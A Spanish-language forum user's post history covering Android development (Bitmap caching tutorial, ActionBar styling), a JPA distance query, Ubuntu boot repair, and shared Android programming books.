Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Cronos

#1
Dudas y pedidos generales / Desbloquear S5
Mayo 16, 2015, 03:09:05 PM
Hola resulta que compre un Galaxy S5 en EEUU y me lo vendieron como liberado. Pero al llegar aca, no me acepta ninguna SIM. Necesito desbloquear el telefono, alguien que sepa como?
Saludos,, Cronos./
#2
Hola, hoy vengo con una duda.
Resulta que me compre una notebook nueva que por supuesto trae Win 8.1, eh intentado entrar en la bios y modificar para que pueda bootear el usb en el que tengo Ubuntu y asi instalarlo, pero nada. Me ignora por completo el usb. Ya eh tocado por todos lados en la bios y nada.
La notebook es una Lenovo Edge 15 y su bios es rara, ya que es diferente y trae muy pocas opciones con respecto a las otras que eh usado. Ah y tiene UEFI
Si alguien me puede dar una mano, es urgente. Necesito Ubuntu para trabajar.
Saludos,, Cronos.-
#3
Buenos días hoy les traigo la solución al problema de arranque initramfs que aveces nos arroja Ubuntu.

1. Introducir el CD Live o Usb con SO, y arrancar sin instalarlo.
2. Abrir la terminal y escribir:

Código: php
sudo fdisk -l


Esto mostrara las particiones, nosotros nos preocuparemos y trabajaremos con la que dice solo "Linux"

Ejemplo
Código: php

Disk /dev/sda: 250.1 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: **********
Device Boot Start End Blocks Id System
/dev/sda1 * 1 30238 242886703+ 83 Linux
/dev/sda2 30239 30401 1309297+ 5 Extended
/dev/sda5 30239 30401 1309266 82 Linux swap / Solaris


Una vez hecho esto escribimos en la terminal lo siguiente (en mi caso es /dev/sda1)

Código: php
sudo fsck /dev/sda1


3. Montar esta partición, este paso pocas veces lo mencionan pero es esencial para que funcione.

Código: php
sudo mount /dev/sda1 /mnt


Y listo, problema resulto. Espero que les haya sido de ayuda.
Saludos,, Cronos.-
#4
El siguiente código muestra como modificar el estilo del Menu oculto del ActionBar para Android SDK >= 14

Código: php

<resources>
    <style name="AppBaseTheme" parent="android:Theme.Holo.Light.DarkActionBar">

        <item name="android:dropDownListViewStyle">@style/PopupMenuListView</item>
        <item name="android:actionBarWidgetTheme">@style/PopupMenuTextView</item>
        <item name="android:popupMenuStyle">@style/PopupMenu</item>

        <!-- Change Overflow Menu ListView Item Height & Property -->
        <item name="android:listPreferredItemHeightSmall">45dp</item>
        <item name="android:listPreferredItemPaddingLeft">5dp</item>
        <item name="android:listPreferredItemPaddingRight">5dp</item>
    </style>

    <!-- Change Overflow Menu ListView Divider Property -->
    <style name="PopupMenuListView" parent="@android:style/Widget.Holo.ListView.DropDown">
        <item name="android:divider">#FF0000</item>
        <item name="android:dividerHeight">2dp</item>
    </style>

    <!-- Change Overflow Menu ListView Text Size and Text Size -->
     <style name="PopupMenuTextView" parent="@style/android:Theme.Holo.Light">
        <item name="android:textColor">#00FF00</item>
        <item name="android:textSize">28dp</item>
    </style>

     <!-- Change Overflow Menu Background -->
     <style name="PopupMenu" parent="android:Widget.Holo.Light.ListPopupWindow">
        <item name="android:popupBackground">#888888</item>
    </style>

</resources>


Esto se vería de la siguiente manera.



Con esta información ya podes modificar y darle el estilo que nosotros queramos al Menu del ActionBar.

Saludos,, Cronos.-
#5
Buenos dias tengo la siguiente duda, estoy trabajando en un WS y quiero armar una query personalizada para que me arroje una lista que necesito. Al no tener experiencia en este tema me salen muchos errores, me gustaría ver si me pueden dar una mano.

Este es mi codigo normal:
Direcciones.java aca esta el query armado
Código: php

@NamedQuery(name = "Direcciones.findByNombre", query = "SELECT d FROM Direcciones d WHERE d.nombre LIKE :nombre"),


Código: php

@GET
    @Override
    @Path("nombre/{nombre}")
    @Produces({"application/json"})
    public List<Direcciones> findAll(@PathParam("nombre") String nombre) {
        return super.findAll(nombre);
    }


Código: php

public List<T> findAll(String nombre) {
        EntityManager em = getEntityManager();
        Query query = em.createNamedQuery("Direcciones.findByNombre");
        query.setParameter("nombre", "%"+nombre+"%");
        return query.getResultList();
    }


Ese codigo es sencillo, simplemente hace un query que busca en la columna nombre los campos que coincidan con el "nombre" seleccionado.
Yo lo que quiero hacer es una consulta que al ingresar el nombre me devuelva una lista ordenada por distancia de estos nombres segun si ubicacion, tengo la consulta SQL echa pero nose implementarla en el ws. La consulta es la siguiente:

Código: php

SELECT *, (6371 * ACOS(SIN(RADIANS(latitud)) * SIN(RADIANS(40.72476060304879))+ COS(RADIANS(longuitud - -73.99332158267498)) * COS(RADIANS(latitud))* COS(RADIANS(40.72476060304879)))) AS distance
FROM DIRECCIONES
WHERE nombre LIKE "%nombre%"
ORDER BY distance ASC
LIMIT 15;


Ya probe esa consulta y funciona de maravillas, pero al tratar de implementarla no funciona ni de milagro y es porque nose como implementarla bien. Si alguien tiene experiencia y/o conocimientos del tema seria de mucha ayuda.
Desde ya muchas gracias por leer.
Saludos,, Cronos.-
#6
Dudas y pedidos generales / Manipulacion de imagenes
Marzo 06, 2015, 09:45:56 PM
Buenas comunidad como les va, hoy vengo con una duda.
Resulta que estoy realizando una app movil la cual tiene interacción con un ws, en dicha interacción se envían, reciben y almacenan imágenes de un tamaño pequeño 150x150 px como tengo poca experiencia mi duda es la siguiente. Que es mejor, manipular el envió, recepción y almacenamiento de imágenes de que manera? Yo por ahora lo hago transformándola en base64 y enviándola y almacenándola en forma de String, pero nose si esto es lo mas conveniente a la hora de estudiar el peso de transferencia, de almacenamiento y procesamiento de la misma.
Me gustaría ver si opinión, desde ya muchas gracias.
Saludos,, Cronos.-
#7
Desarrollo móvil / Buenas practicas con Bitmap
Febrero 17, 2015, 11:57:46 AM
Buenas practicas con Bitmap

Cargando grandes mapas de bits de manera eficiente
Muchas veces tratamos de cargar una imagen de tamaño muy grande en un espacio muy pequeño, y esto funciona, pero no de la manera que esperamos. Al crear un listView con una colección de Bitmap mal implementado, nos daremos cuenta que al deslizar nuestra lista, esta se torna pesada y torpe. Esto es por el tamaño de las imágenes que hemos cargado en cada Bitmap.
Por ejemplo, no vale la pena cargar una imagen de 1024x768 píxeles en la memoria si se mostrará en una miniatura de 128x96 píxeles en un imageView. La mejor practica para evitar esto es reducir el tamaño de imagen que se va a crear en el Bitmap al que se calcula que uno va a usar. Para esto utilizamos la opción inSampleSize, esta opción lo que hace es indica la escala que se utilizara para reducir dicha imagen. Por ejemplo, una imagen con resolución 2048x1536 que se cargara con un inSampleSize de 4 produce un mapa de bits de aproximadamente 512x384, cargando esto en memoria utiliza 0.75MB en lugar de 12 MB para la imagen completa.
Una pregunta común es, como saber que valor al inSampleSize debo colocar? Pues hay un método para calcular dicho tamaño de manera automática, que es el siguiente.

Código: text

public static int calculateInSampleSize(
            BitmapFactory.Options options, int reqWidth, int reqHeight) {
    final int height = options.outHeight;
    final int width = options.outWidth;
    int inSampleSize = 1;
    if (height > reqHeight || width > reqWidth) {
        final int halfHeight = height / 2;
        final int halfWidth = width / 2;
        while ((halfHeight / inSampleSize) > reqHeight
                && (halfWidth / inSampleSize) > reqWidth) {
            inSampleSize *= 2;
        }
    }
    return inSampleSize;
}


Este método recibe como parámetros el elemento options que utilizaremos para crear nuestro Bitmap, el Width y Height que deseamos que tenga nuestro Bitmap y devuelve un valor de tipo int el cual sera nuestro valor a colocar en inSampleSize para obtener este tamaño deseado.
Para utilizar este método, primero debemos decodificar con la opción inJustDecodeBounds establecida en true, se pasan el options y luego decodificar de nuevo usando el nuevo valor de  inSampleSize y inJustDecodeBounds establecido esta ves en false.

Código: text

public static Bitmap decodeSampledBitmapFromResource(Resources res, int resId,
        int reqWidth, int reqHeight) {
    // First decode with inJustDecodeBounds=true to check dimensions
    final BitmapFactory.Options options = new BitmapFactory.Options();
    options.inJustDecodeBounds = true;
    BitmapFactory.decodeResource(res, resId, options);
    // Calculate inSampleSize
    options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);
    // Decode bitmap with inSampleSize set
    options.inJustDecodeBounds = false;
    return BitmapFactory.decodeResource(res, resId, options);
}


Este método hace que sea fácil de cargar un mapa de bits de tamaño arbitrariamente grande en un ImageView que muestra una miniatura de 100x100 píxeles, como se muestra en el siguiente código de ejemplo:

Código: text

mImageView.setImageBitmap(
    decodeSampledBitmapFromResource(getResources(), R.id.myimage, 100, 100));


Ahora bien una ves implementado esto en el caso que dijimos anteriormente se puede notar una gran diferente la fluidez al desplazar nuestra lista, pero esto no queda acá. Las personas que no nos conformamos con poco notaremos que aun la lista de desplaza con cierto retraso que no es nada agradable a la vista. Esto sucede porque cada ves que deslizamos y mostramos los items ocultos en la lista se vuelve a calcular y a cargar la imagen en los Bitmap y todo este proceso se produce en el hilo principal, lo cual tenemos que evitar, entonces el siguiente paso es hacer este proceso de cargado en un hilo secundario, para ello utilizaremos AsyncTask.

Procesando Bitmap en un hilo secundario
La clase AsyncTask proporciona una manera fácil de ejecutar algún trabajo en un subproceso de fondo y publicar los resultados de vuelta en el subproceso de interfaz de usuario. Para usarlo, se crea una subclase y se sobrescriben los métodos proporcionados. Un ejemplo de la carga de una imagen de gran tamaño en un imageView usando AsyncTask y el método creado anteriormente  decodeSampledBitmapFromResource ():

Código: text

class BitmapWorkerTask extends AsyncTask<Integer, Void, Bitmap> {
    private final WeakReference<ImageView> imageViewReference;
    private int data = 0;
    public BitmapWorkerTask(ImageView imageView) {
        // Use a WeakReference to ensure the ImageView can be garbage collected
        imageViewReference = new WeakReference<ImageView>(imageView);
    }
    // Decode image in background.
    @Override
    protected Bitmap doInBackground(Integer... params) {
        data = params[0];
        return decodeSampledBitmapFromResource(getResources(), data, 100, 100));
    }
    // Once complete, see if ImageView is still around and set bitmap.
    @Override
    protected void onPostExecute(Bitmap bitmap) {
        if (imageViewReference != null && bitmap != null) {
            final ImageView imageView = imageViewReference.get();
            if (imageView != null) {
                imageView.setImageBitmap(bitmap);
            }
        }
    }
}


Podemos observar que el constructor recibe un imageView el cual sera el que utilizaremos para cargar el Bitmap, el método doInBackground() ejecuta el método decodeSampledBitmapFromResource() en segundo plano y retorna un Bitmap el cual lo va a recibir el método onPostExecute() el cual se encargar de plasmar los resultados en la interfaz principal.
Para comenzar a cargar el mapa de bits de forma asíncrona, basta con crear una nueva tarea y ejecutarlo:

Código: text

public void loadBitmap(int resId, ImageView imageView) {
    BitmapWorkerTask task = new BitmapWorkerTask(imageView);
    task.execute(resId);
}


Observamos que la ejecutar la tarea en segundo plano se le pasa una variable resId, el cual es el id con la ruta de la imagen a cagar.

Almacenando un Bitmap en cache
Al ver los resultados que nos arroja el paso anterior podemos observar que el deslizamiento de nuestra lista es muy veloz, pero que tiene un pequeño problema. Las imágenes tardan en cargarse, y esto es algo esperado ya que el proceso de cargar los item de la lista en el hilo principal no van a esperar ah que termine el proceso en el hilo secundario, entonces se formara una desincronización a la hora de cargar los datos de cada item, por mas que simplemente sean microsegundos, esto es algo que se nota notablemente en la UI e irritaría mucho al usuario.
Entonces como solucionamos este problema? Cargando cada Bitmap en cache.
Una memoria caché ofrece un acceso rápido a los Bitmap a costa de ocupar memoria valiosa de la aplicación. La clase LruCache esta especialmente adecuado para la tarea de Bitmap en caché.
Con el fin de elegir un tamaño adecuado para el LruCache, un número de factores deben ser tomados en consideración, por ejemplo:

-  ¿Cuántas imágenes estará en pantalla a la vez? ¿Cuántos tienen que estar disponibles listos para entrar en la pantalla?
-  ¿Cuál es el tamaño de la pantalla y la densidad del dispositivo? Un dispositivo de alta densidad (xhdpi) como Galaxy Nexus tendrá un caché más grande para mantener el mismo número de imágenes en la memoria en comparación con un dispositivo como Nexus S (IPAP).
-  ¿Con qué frecuencia se accederá a las imágenes? ¿Algunos acceder con mayor frecuencia que los demás? Si es así, tal vez usted puede querer mantener ciertos artículos siempre en la memoria o incluso tener varios objetos LruCache para diferentes grupos de mapas de bits.
-  ¿Puede equilibrar la calidad contra cantidad? A veces puede ser más útil para almacenar un mayor número de Bitmap de menor calidad.

No hay un tamaño específico o fórmula que se adapte a todas las aplicaciones, es cuestión de cada uno analizar su consumo y llegar a una solución adecuada. Una caché que es demasiado pequeña causa sobrecarga adicional sin ningún beneficio, una memoria caché que es demasiado grande  puede devolver excepciones java.lang.OutOfMemory y dejar al resto de su aplicación poca memoria para trabajar. Un ejemplo de la creación de un LruCache para Bitmap:

Código: text

private LruCache<String, Bitmap> mMemoryCache;
@Override
protected void onCreate(Bundle savedInstanceState) {
    ...
    // Get max available VM memory, exceeding this amount will throw an
    // OutOfMemory exception. Stored in kilobytes as LruCache takes an
    // int in its constructor.
    final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);
    // Use 1/8th of the available memory for this memory cache.
    final int cacheSize = maxMemory / 8;
    mMemoryCache = new LruCache<String, Bitmap>(cacheSize) {
        @Override
        protected int sizeOf(String key, Bitmap bitmap) {
            // The cache size will be measured in kilobytes rather than
            // number of items.
            return bitmap.getByteCount() / 1024;
        }
    };
    ...
}
public void addBitmapToMemoryCache(String key, Bitmap bitmap) {
    if (getBitmapFromMemCache(key) == null) {
        mMemoryCache.put(key, bitmap);
    }
}
public Bitmap getBitmapFromMemCache(String key) {
    return mMemoryCache.get(key);
}


Ahora cuando vallamos a cargar un Bitmap en un imageView, primero comprobaremos que este Bitmap no esta ya cargado en cache. En caso de que este en cache, evitaremos todo el proceso de redimensionamiento echo anteriormente y simplemente lo traeremos de la cache, caso contrario haremos los pasos mencionados anteriormente y almacenaremos ese Bitmap en cache si no existe, para que la próxima ves que tengamos que cargarlo, lo traigamos de cache.

Código: text

public void loadBitmap(int resId, ImageView imageView) {
    final String imageKey = String.valueOf(resId);
    final Bitmap bitmap = getBitmapFromMemCache(imageKey);
    if (bitmap != null) {
        mImageView.setImageBitmap(bitmap);
    } else {
        mImageView.setImageResource(R.drawable.image_placeholder);
        BitmapWorkerTask task = new BitmapWorkerTask(mImageView);
        task.execute(resId);
    }
}


En la clase BitmapWorkerTask creada anteriormente solo debemos agregar la linea de código que se encarga de cargar este nuevo Bitmap en cache.

Código: text

class BitmapWorkerTask extends AsyncTask<Integer, Void, Bitmap> {
    ...
    // Decode image in background.
    @Override
    protected Bitmap doInBackground(Integer... params) {
        final Bitmap bitmap = decodeSampledBitmapFromResource(
                getResources(), params[0], 100, 100));
        addBitmapToMemoryCache(String.valueOf(params[0]), bitmap);
        return bitmap;
    }
    ...
}


Y eso seria todo. Ya tenemos una lista que carga por única vez los Bitmap y luego hace petición a cache, la eficiencia de esto es muy grande y los resultados son muy notorios.
Para realizar este manual me base en la información oficial de Google la cual colocare a continuación.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Leandro Vitale

Saludos,, Cronos.-
#8
Buenos días ahora les dejo la versión avanzada del libro!
Sinceramente yo no lo he leído ya que me eh ido perfeccionando en Android con Google, pero de todos modos es un libro para recomendar.



Resumen del libro
El libro que tiene en sus manos es una guía para aquellos programadores de Android que, teniendo nociones básicas, quieran profundizar en algunos aspectos de especial interés. Diseño avanzado del interfaz de usuario: Aprenda todas las novedades incorporadas en las últimas versiones de Android, como Fragments, ActionBar, bar ra de búsquedas, animación de propiedades...Personalice sus propias vistas y cree Widgets de escritorio. Hilos de ejecución: En Android esimprescindible dominar el uso de threads. Use AsyncTask y programe animaciones gráficas con SurfaceView. Bluetooth: Saque provecho a esta tecnología para interconectar dos dispositivos Android, o un dispositivo Android con un PC. Servicios en la nube: Utilice en sus aplicaciones las notificaciones Push, almacenamiento en la nube con Google Drive y el servicio de Backup de Google. Aplicaciones Web: Aprenda a integrar una aplicación basada en HTML5, CSS3 y JavaScript dentro de Android. Conozca las alternativas a la programación multiplataforma para móviles. Programación en código nativo: Use NDK para escribir directamente sus algoritmos en C/C++ y compílelos a código nativo del procesador. Redes sociales: Integre Facebook y Twitter en sus aplicaciones. Ingeniería inversa: Aprenda a jaquear aplicaciones para evitar que lo hagan con las suyas. Estudie el código y modifique aplicaciones de terceros. Ofusque el código e incluya licencias de Google Play. El libro propone un aprendizaje activo, con actividades, muchas a través de Internet: - poli[Media]Videos elaborados por los autores. -Ejercicio paso a paso: La mejor forma de aprender es practicando. -Práctica: Para afianzar lo aprendido hay que practicar. -Recursos adicionales: Localice rápidamente la información clave -Preguntas de repaso y reflexión: ¿Lo ha entendido todo correctamente

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#9
Les dejo este libro, el cual fue uno de los que utilice para iniciarme en la programación de aplicaciones nativas. Es un gran libro y sirve mucho para iniciarse! Espero que les sirva



El Gran Libro de Android, Tomás Gironés, Jesús (Segunda Edición)
PDF | Spanish | 116 MB | Tomas Girones, Jesus | Editorial: MARCOMBO, S.A. | ISBN: 8426718329 | Páginas: 404 | Edición: 2ª | 1 de mayo de 2012

Contenido:

    Lista de acrónimos
    ¿Cómo leer este libro?
    CAPÍTULO 1. Visión general y entorno de desarrollo 21
    1.1. ¿Qué hace que Android sea especial? . 22
    1.2. Los orígenes . 23
    1.3. Comparativa con otras plataformas 24
    1.4. Arquitectura de Android. 26
    1.4.1. El núcleo Linux 27
    1.4.2. Runtime de Android . 27
    1.4.3. Librerías nativas 28
    1.4.4. Entorno de aplicación 28
    1.4.5. Aplicaciones 29
    1.5. Instalación del entorno de desarrollo 29
    1.5.1. Instalación de los componentes por separado 30
    1.5.1.1. Instalación de la máquina virtual Java . 30
    1.5.1.2. Instalación de Eclipse . 30
    1.5.1.3. Instalar Android SDK de Google 31
    1.5.2. Instalación del plug-in Android para Eclipse (ADT) . 35
    1.5.3. Instalación con MOTODEV Studio 36
    1.6. Las versiones de Android y niveles de API . 38
    1.6.1. Android 1.0 Nivel de API 1 (septiembre 2008) 39
    1.6.2. Android 1.1 Nivel de API 2 (febrero 2009) 39
    1.6.3. Android 1.5 Nivel de API 3 (abril 2009, Cupcake) . 39
    1.6.4. Android 1.6 Nivel de API 4 (diciembre 2009, Donut) . 39
    1.6.5. Android 2.0 Nivel de API 5 (octubre 2009, Éclair) . 40
    1.6.6. Android 2.1 Nivel de API 7 (enero 2010, Éclair) 40
    1.6.7. Android 2.2 Nivel de API 8 (mayo 2010, Froyo) 40
    1.6.8. Android 2.3 Nivel de API 9 (diciembre 2010, Gingerbread) 41
    1.6.9. Android 3.0 Nivel de API 11 (febrero 2011, Honeycomb) . 41
    1.6.10. Android 3.1 Nivel de API 12 (mayo 2011) 42viii
    1.6.11. Android 3.2 Nivel de API 13 (julio 2011) . 42
    1.6.12. Android 4.0 Nivel de API 14 (octubre 2011, Ice Cream Sandwich) 43
    1.6.13. Android 4.0.3 Nivel de API 15 (diciembre 2011) 43
    1.6.14. Elección de la plataforma de desarrollo . 43
    1.7. Creación de un primer programa 45
    1.7.1. Creación del proyecto 45
    1.8. Ejecución del programa. 49
    1.8.1. Ejecución en el emulador 49
    1.8.2. Ejecución en un terminal real 49
    1.9. Elementos de un proyecto Android . 51
    1.10. Componentes de una aplicación . 53
    1.10.1. Vista (View) 53
    1.10.2. Layout 53
    1.10.3. Actividad (Activity) 54
    1.10.4. Servicio (Service) 54
    1.10.5. Intención (Intent) . 54
    1.10.6. Receptor de anuncios (Broadcast receiver) . 54
    1.10.7. Proveedores de Contenido (Content Provider) 55
    1.11. Documentación y ApiDemos . 55
    1.11.1. Donde encontrar documentación . 55
    1.11.2. La aplicación ApiDemos . 55
    1.12. Depurar 57
    1.12.1. Depurar con Eclipse . 57
    1.12.2. Depurar con mensajes Log. 58
    CAPÍTULO 2. Diseño de la interfaz de usuario: Vistas y Layouts 61
    2.1. Creación de una interfaz de usuario por código . 62
    2.2. Creación de una interfaz de usuario usando XML 63
    2.2.1. Edición visual de las vistas 66
    2.3. Layouts . 70
    2.4. Una aplicación de ejemplo: Asteroides . 76
    2.4.1. Recursos alternativos 78
    2.5. Estilos y temas . 82
    2.5.1. Los estilos . 83
    2.5.1.1. Heredar de un estilo propio . 83
    2.5.2. Los temas . 84
    2.6. Uso práctico de Vistas y Layouts 85
    2.6.1. Acceder y modificar las propiedades de las vistas por código 87
    2.7. Uso de TabLayout 89
    2.7.1. Uso de la etiqueta en Layouts 91
    CAPÍTULO 3. Actividades e Intenciones 93
    3.1. Creación de nuevas actividades . 94
    3.2. Comunicación entre actividades . 98
    3.3. Añadiendo un menú 100
    3.4. Creación y uso de iconos 102
    3.5. Añadiendo preferencias de usuario 105
    3.5.1. Organizando preferencias . 108
    3.5.2. Como se almacenan las preferencias de usuario . 109
    3.5.3. Accediendo a los valores de las preferencias . 110
    3.6. Añadiendo una lista de puntaciones en Asteroides 111
    3.7. La vista ListView . 113
    3.7.1. Un ListView que visualiza una lista de Strings 115
    3.7.2. Un ListView que visualiza Layouts personalizados . 116
    3.7.3. Un ListView con nuestro propio adaptador . 118
    3.7.4. Detectar una pulsación sobre un elemento de la lista . 120
    3.8. Las Intenciones 121
    3.8.1. La etiqueta . 126
    CAPÍTULO 4. Gráficos en Android 127
    4.1. Clases para gráficos en Android . 128
    4.1.1. Canvas 128
    4.1.2. Paint 130
    4.1.2.1. Definición de colores . 131
    4.1.3. Path 133
    4.1.4. Drawable . 135x
    4.1.4.1. BitmapDrawable 136
    4.1.4.2. GradienDrawable 137
    4.1.4.3. TransitionDrawable . 138
    4.1.4.4. ShapeDrawable 138
    4.1.4.5. AnimationDrawable . 139
    4.2. Creación de una vista en un fichero independiente 140
    4.3. Creando la actividad principal de Asteroides 143
    4.3.1. La clase Gráfico . 145
    4.3.2. La clase VistaJuego 146
    4.3.3. Introduciendo la nave en VistaJuego 148
    4.4. Representación de gráficos vectoriales en Asteroides . 150
    4.5. Animaciones . 152
    4.5.1. Animaciones Tween 153
    4.5.2. Animaciones de propiedades 156
    CAPÍTULO 5. Entradas en Android: teclado, pantalla táctil y sensores 157
    5.1. Manejando eventos de usuario . 158
    5.1.1. Escuchador de eventos . 158
    5.1.2. Manejadores de eventos . 159
    5.2. El teclado 159
    5.3. La pantalla táctil . 162
    5.3.1. Manejo de la pantalla táctil con multi-touch 165
    5.3.2. Manejo de la nave con la pantalla táctil 168
    5.4. Gestures . 169
    5.4.1. Creación y uso de una librería de gestures . 170
    5.4.2. Añadiendo gestures a Asteroides 174
    5.5. Los sensores 176
    5.5.1. Un programa que muestra los sensores disponibles
    y sus valores en tiempo real 181
    5.5.2. Utilización de los sensores en Asteroides . 183
    5.6. Uso de hilos de ejecución (Threads) . 184
    5.6.1. Introduciendo movimiento en Asteroides 185
    5.7. Introduciendo un misil en Asteroides 187
    CAPÍTULO 6. Multimedia y ciclo de vida de una actividad 191
    6.1. Ciclo de vida de una actividad 192
    6.1.1. ¿Qué proceso se elimina? . 198
    6.1.2. Guardando el estado de una actividad 200
    6.2. Utilizando multimedia en Android 202
    6.3. La vista VideoView 205
    6.4. La clase MediaPlayer 207
    6.4.1. Reproducción de audio con MediaPlayer 207
    6.5. Un reproductor multimedia pasó a paso . 208
    6.6. Introduciendo efectos de audio con SoundPool . 215
    6.7. Grabación de audio . 217
    CAPÍTULO 7. Seguridad y posicionamiento 223
    7.1. Los tres pilares de la seguridad en Android 224
    7.1.1. Usuario Linux y acceso a ficheros . 225
    7.1.2. El esquema de permisos en Android . 225
    7.1.3. Permisos definidos por el usuario en Android . 227
    7.2. Localización 231
    7.2.1. Emulación del GPS con Eclipse 236
    7.3. Google Maps 237
    7.3.1. Obtención de una clave Google Maps 237
    7.4. Fragmentando los asteroides 242
    CAPÍTULO 8. Servicios, notificaciones y receptores de anuncios 245
    8.1. Introducción a los servicios en Android . 246
    8.1.1. Ciclo de vida de un servicio. 247
    8.1.2. Permisos . 249
    8.2. Un servicio para ejecución en segundo plano. . 249
    8.2.1. Los métodos onStartCommad() y onStart() 252
    8.3. Las notificaciones de la barra de estado . 254
    8.3.1. Configurando tipos de avisos en las notificaciones . 257
    8.3.1.1. Asociar un sonido 257
    8.3.1.2. Añadiendo vibración . 257xii
    8.3.1.3. Añadiendo parpadeo de LED 257
    8.4. Receptores de anuncios 258
    8.4.1. Receptor de anuncios registrado en AndroidManifest.xml 259
    8.4.2. Arrancar un servicio tras cargar el sistema operativo . 265
    8.5. Un servicio como mecanismo de comunicación entre aplicaciones . 266
    8.5.1. Crear la interfaz en AIDL . 267
    8.5.2. Implementar la interfaz 268
    8.5.3. Publicar la interfaz en un servicio 269
    8.5.4. Llamar a una interfaz remoto . 270
    CAPÍTULO 9. Almacenamiento de datos 273
    9.1. Alternativas para guardar datos permanentemente en Android . 274
    9.2. Añadiendo puntuaciones en Asteroides 275
    9.3. Preferencias . 277
    9.4. Accediendo a ficheros . 280
    9.4.1. Sistema interno de ficheros . 281
    9.4.2. Sistema de almacenamiento externo 283
    9.4.2.1. Verificando acceso a la memoria externa 285
    9.4.2.2. Almacenando ficheros específicos de tu aplicación
    en el almacenamiento externo 286
    9.4.2.3. Almacenando ficheros compartidos en el almacenamiento externo 287
    9.4.3. Acceder a un fichero de los recursos 288
    9.5. Trabajando con XML . 289
    9.5.1. Procesando XML con SAX 290
    9.5.2. Procesando XML con DOM . 296
    9.6. Bases de datos . 301
    9.6.1. Los métodos query() y rawQuery() 304
    9.7. Utilizando la clase ContentProvider 305
    9.7.1. Conceptos básicos 306
    9.7.1.1. El modelo de datos . 306
    9.7.1.2. Las URI . 306
    9.7.2. Acceder a la información de un ContentProvider 307
    9.7.2.1. Leer información de un ContentProvider . 308
    9.7.2.2. Escribir información en un ContentProvider . 311
    9.7.2.3. Borrar y modificar elementos de un ContentProvider . 312
    9.7.3. Creación de un ContentProvider . 312
    9.7.3.1. Definir la estructura de almacenamiento del ContentProvider . 313
    9.7.3.2. Extendiendo la clase ContentProvider . 314
    9.7.3.3. Declarar el ContentProvider en AndroidManifest.xml 318
    9.7.4. Acceso a PuntuacionesProvider desde Asteroides . 319
    CAPÍTULO 10. Internet: sockets, HTTP y servicios web 321
    10.1. Comunicaciones en Internet mediante sockets 322
    10.1.1. La arquitectura cliente/servidor 322
    10.1.2. ¿Qué es un socket? 322
    10.1.2.1. Sockets stream (TCP) . 323
    10.1.2.2. Sockets datagram (UDP) . 323
    10.1.3. Un ejemplo de un cliente / servidor de ECHO 324
    10.1.4. Un servidor por sockets para las puntuaciones 326
    10.2. La web y el protocolo HTTP 330
    10.2.1. El protocolo HTTP 330
    10.2.2. Versión 1.0 del protocolo HTTP . 332
    10.2.3. Utilizando HTTP desde Android . 334
    10.3. Servicios web . 339
    10.3.1. Alternativas en los servicios web 339
    10.3.1.1. Servicios web basados en SOAP 340
    10.3.1.2. Servicios web basados en REST 341
    10.3.2. Acceso a servicios web de terceros 345
    10.3.3. Diseño e implantación de nuestro servicio web 349
    10.3.3.1. Instalación del servidor de servicios web 349
    10.3.3.2. Creación un servicio web en Eclipse 351
    10.3.3.3. Explorando el servicio web desde Eclipse 354
    10.3.3.4. Explorando el servicio web desde HTML 358
    10.3.3.5. Utilizando el servicio web desde Asteroides 360
    CAPÍTULO 11. Publicar Aplicaciones 365
    11.1. Preparar y testear tu aplicación 366
    11.1.1. Preparar la aplicación para distintos tipos de dispositivo 366
    11.1.2. Testear la aplicación 368
    11.2. Crear un certificado digital y firmar la aplicación 370
    11.3. Publicar la aplicación 372
    11.3.1. Publicar en Internet 372
    11.3.2. Publicar en Google Play Store 373
    11.4. Asteroides: detectar victoria y derrota 377
    ANEXO A. Referencia Java 379
    ANEXO B. Referencia: la clase View y sus descendientes 391

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuente y contraseña: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#10
Buenos días, les vengo con una duda que me gustaría resolver.
Eh desarrollado una lista exactamente igual como la de Whatsapp, y mi problema es que las imágenes que muestra cada chat pesa igual que la imagen original y esto hace que cuando hay 4 chat en la lista que quieren mostrar la imagen, la app colapsa del peso de las imagenes. Tengo que reducir el tamaño de la imagen y la calidad así las imágenes son livianas y no afecten al funcionamiento de la app. Alguno sabe el como implementar esto?
Todo comentario es valido y agradecido.
PD: Estoy programando en android nativo.
Saludos,, Cronos.-
#11
Hola, les vengo a pedir su opinión con la siguiente duda.
Ando buscando un método que me ayude a encryptar y desencryptar una cantidad de información extensa.
La idea es disminuir caracteres, es decir de una cadena con 100 caracteres, genere una cadena de 20, 30 caracteres (mientras menos mejor).
Pensé en MD5, pero es unidireccional y tengo que generar un historial y toda la historia para luego obtener lo que dice. Pero no es la idea. Sino que sea un método que encrypte, desencrypte y disminuya la cantidad de caracteres sin necesidad de tener que almacenarlo en una db.
Si alguien conoce un método que cumpla mas o menos con estas características por favor coméntelo.
Saludos y Gracias,, Cronos.-
#12
Dudas y pedidos generales / Problema con estilos
Octubre 10, 2014, 02:44:17 PM
Buenos dias hoy les traigo una duda que espero solucionar.
Estoy trabajando con listas y lo que quiero hacer es que en cada item aparezca un nombre y al lado una tableta de colores que se despliega cuando toco en el input.
Mi problema es el siguiente, en el item sale el nombre y debajo el input, nose como eliminar este salto de linea. Si alguien puede ayudarme. La idea es que el input quede al lado.

Codigo:
Código: php

<ul id="menulateral">
    <li id="colores">- Colores:</li>
    <li id="items" onclick="#">Color 1<input class="color5" type="text" name="color5" value="#FF00FF" /></li>
    <li id="items" onclick="#">Color 2<input class="color5" type="text" name="color5" value="#FF00FF" /></li>
    <li id="items" onclick="#">Color 3<input class="color5" type="text" name="color5" value="#FF00FF" /></li>
    <li id="items" onclick="#">Color 4<input class="color5" type="text" name="color5" value="#FF00FF" /></li>
</ul>


Como me queda:


Desde ya muchas gracias!
Saludos,, Cronos.-
#13
Buenos días, como lo dice el titulo. Ando buscando la manera de guardar datos que larga mi app a una base de datos en la nube.
